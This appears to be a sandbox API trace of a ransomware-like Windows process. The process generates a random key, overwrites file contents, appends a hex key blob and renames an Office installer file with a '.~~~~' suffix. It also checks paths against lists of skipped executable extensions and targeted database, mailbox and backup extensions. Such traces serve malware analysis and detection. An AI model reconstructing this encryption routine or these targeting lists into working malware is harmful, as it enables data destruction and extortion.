	[0066.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.634] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0066.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.636] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0066.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0066.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0066.636] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18662672038) returned 1
	[0066.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x94c84950, dwHighDateTime=0x1d60e1e)) 
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc78
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0066.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e65e0
	[0066.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0066.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0066.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0066.637] GetLastError () returned 0x0
	[0066.637] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.638] SetLastError (dwErrCode=0x0) 
	[0066.638] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] GetLastError () returned 0x0
	[0066.639] SetLastError (dwErrCode=0x0) 
	[0066.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0066.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c94d0
	[0066.639] ReadFile (in: hFile=0x128, lpBuffer=0x3c94d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c94d0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0066.643] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.643] WriteFile (in: hFile=0x128, lpBuffer=0x3c94d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c94d0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0066.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c94d0 | out: hHeap=0x300000) returned 1
	[0066.644] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.645] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0066.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.646] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.647] CloseHandle (hObject=0x128) returned 1
	[0067.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0067.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.~~~~")) returned 1
	[0067.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0067.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0067.033] GetLastError () returned 0x0
	[0067.033] SetLastError (dwErrCode=0x0) 
	[0067.033] GetLastError () returned 0x0
	[0067.033] SetLastError (dwErrCode=0x0) 
	[0067.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0067.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0067.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0067.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b740 | out: hHeap=0x300000) returned 1
	[0067.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3f0 | out: hHeap=0x300000) returned 1
	[0067.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0067.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0067.034] RtlWakeConditionVariable () returned 0x365f70
	[0067.034] GetCurrentThreadId () returned 0xaf0
	[0067.102] GetCurrentThreadId () returned 0xaf0
	[0067.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0067.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd20 | out: hHeap=0x300000) returned 1
	[0067.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8d18
	[0067.103] lstrlenW (lpString=".scr") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0067.103] lstrlenW (lpString=".cmd") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0067.103] lstrlenW (lpString=".dll") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0067.103] lstrlenW (lpString=".bat") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0067.103] lstrlenW (lpString=".cpl") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0067.103] lstrlenW (lpString=".sys") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0067.103] lstrlenW (lpString=".msc") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0067.103] lstrlenW (lpString=".com") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0067.103] lstrlenW (lpString=".lnk") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0067.103] lstrlenW (lpString=".msp") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0067.103] lstrlenW (lpString=".pif") returned 4
	[0067.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0067.103] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0067.104] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0067.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8d18 | out: hHeap=0x300000) returned 1
	[0067.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0067.104] RtlWakeConditionVariable () returned 0x365f70
	[0067.104] GetCurrentThreadId () returned 0xaf0
	[0067.104] GetCurrentThreadId () returned 0xaf0
	[0067.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0067.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e678 | out: hHeap=0x300000) returned 1
	[0067.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd58 | out: hHeap=0x300000) returned 1
	[0067.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a53b0
	[0067.105] lstrlenW (lpString=".scr") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".scr") returned 0x0
	[0067.105] lstrlenW (lpString=".cmd") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".cmd") returned 0x0
	[0067.105] lstrlenW (lpString=".dll") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dll") returned 0x0
	[0067.105] lstrlenW (lpString=".bat") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".bat") returned 0x0
	[0067.105] lstrlenW (lpString=".cpl") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".cpl") returned 0x0
	[0067.105] lstrlenW (lpString=".sys") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".sys") returned 0x0
	[0067.105] lstrlenW (lpString=".msc") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".msc") returned 0x0
	[0067.105] lstrlenW (lpString=".com") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".com") returned 0x0
	[0067.105] lstrlenW (lpString=".lnk") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".lnk") returned 0x0
	[0067.105] lstrlenW (lpString=".msp") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".msp") returned 0x0
	[0067.105] lstrlenW (lpString=".pif") returned 4
	[0067.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".pif") returned 0x0
	[0067.106] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0067.106] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0067.119] lstrlenW (lpString=".sqb") returned 4
	[0067.119] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".sqb") returned 0x0
	[0067.119] lstrlenW (lpString=".ost") returned 4
	[0067.119] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".ost") returned 0x0
	[0067.119] lstrlenW (lpString=".txt") returned 4
	[0067.119] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".txt") returned 0x0
	[0067.119] lstrlenW (lpString=".mdt") returned 4
	[0067.119] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".mdt") returned 0x0
	[0067.119] lstrlenW (lpString=".BDB") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".BDB") returned 0x0
	[0067.120] lstrlenW (lpString=".eql") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".eql") returned 0x0
	[0067.120] lstrlenW (lpString=".DBF") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DBF") returned 0x0
	[0067.120] lstrlenW (lpString=".EQL") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".EQL") returned 0x0
	[0067.120] lstrlenW (lpString=".FDB") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".FDB") returned 0x0
	[0067.120] lstrlenW (lpString=".EDB") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".EDB") returned 0x0
	[0067.120] lstrlenW (lpString=".DACPAC") returned 7
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DACPAC") returned 0x0
	[0067.120] lstrlenW (lpString=".VHD") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".VHD") returned 0x0
	[0067.120] lstrlenW (lpString=".DBV") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DBV") returned 0x0
	[0067.120] lstrlenW (lpString=".dacpac") returned 7
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dacpac") returned 0x0
	[0067.120] lstrlenW (lpString=".sdf") returned 4
	[0067.120] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".sdf") returned 0x0
	[0067.121] lstrlenW (lpString=".accdb") returned 6
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".accdb") returned 0x0
	[0067.121] lstrlenW (lpString=".DBX") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DBX") returned 0x0
	[0067.121] lstrlenW (lpString=".MDT") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".MDT") returned 0x0
	[0067.121] lstrlenW (lpString=".SQB") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".SQB") returned 0x0
	[0067.121] lstrlenW (lpString=".vhd") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".vhd") returned 0x0
	[0067.121] lstrlenW (lpString=".bac") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".bac") returned 0x0
	[0067.121] lstrlenW (lpString=".mdf") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".mdf") returned 0x0
	[0067.121] lstrlenW (lpString=".BAK") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".BAK") returned 0x0
	[0067.121] lstrlenW (lpString=".BAC") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".BAC") returned 0x0
	[0067.121] lstrlenW (lpString=".dbs") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dbs") returned 0x0
	[0067.121] lstrlenW (lpString=".vhdx") returned 5
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".vhdx") returned 0x0
	[0067.121] lstrlenW (lpString=".NDF") returned 4
	[0067.121] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".NDF") returned 0x0
	[0067.122] lstrlenW (lpString=".dat") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dat") returned 0x0
	[0067.122] lstrlenW (lpString=".DBS") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DBS") returned 0x0
	[0067.122] lstrlenW (lpString=".CKP") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".CKP") returned 0x0
	[0067.122] lstrlenW (lpString=".edb") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".edb") returned 0x0
	[0067.122] lstrlenW (lpString=".PST") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".PST") returned 0x0
	[0067.122] lstrlenW (lpString=".dbf") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dbf") returned 0x0
	[0067.122] lstrlenW (lpString=".SQL") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".SQL") returned 0x0
	[0067.122] lstrlenW (lpString=".pst") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".pst") returned 0x0
	[0067.122] lstrlenW (lpString=".dbv") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dbv") returned 0x0
	[0067.122] lstrlenW (lpString=".SDF") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".SDF") returned 0x0
	[0067.122] lstrlenW (lpString=".dtxs") returned 5
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dtxs") returned 0x0
	[0067.122] lstrlenW (lpString=".db3") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".db3") returned 0x0
	[0067.122] lstrlenW (lpString=".OST") returned 4
	[0067.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".OST") returned 0x0
	[0067.123] lstrlenW (lpString=".dbx") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".dbx") returned 0x0
	[0067.123] lstrlenW (lpString=".DB3") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DB3") returned 0x0
	[0067.123] lstrlenW (lpString=".DAT") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DAT") returned 0x0
	[0067.123] lstrlenW (lpString=".VHDX") returned 5
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".VHDX") returned 0x0
	[0067.123] lstrlenW (lpString=".ndf") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".ndf") returned 0x0
	[0067.123] lstrlenW (lpString=".DB") returned 3
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".DB") returned 0x0
	[0067.123] lstrlenW (lpString=".sql") returned 4
	[0067.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpSrch=".sql") returned 0x0
	[0067.123] lstrlenW (lpString=".MYD") returned 4
